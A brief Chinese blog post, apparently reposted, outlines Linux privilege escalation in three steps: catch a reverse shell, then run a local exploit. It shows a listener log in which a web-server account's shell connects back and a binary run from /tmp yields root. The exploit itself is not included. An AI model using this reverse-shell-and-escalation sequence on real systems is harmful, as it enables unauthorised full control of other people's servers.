Linux提权步骤

  • A+
所属分类:颓废's Blog
摘要

sent 45, rcvd 423 原文地址:http://www.7kb.org/?p=83

1.反弹shell
2.接受反弹的shell
3.执行提权EXP
结束   END
 
listening on [any] 443…
x.x.x.x: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.0.0.10] from (UNKNOWN) [x.x.x.x] 46911: NO_DATA
linux cloud 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86
_64 x86_64 GNU/linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:rpm_s
cript_t:s0-s0:c0.c1023
whoami
www
cd /tmp/
chmod 777 1
./1
id
uid=0(root) gid=0(root) groups=0(root),1000(www) context=unconfined_u:system_r:r
pm_script_t:s0-s0:c0.c1023

sent 45, rcvd 423

原文地址:http://www.7kb.org/?p=83

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: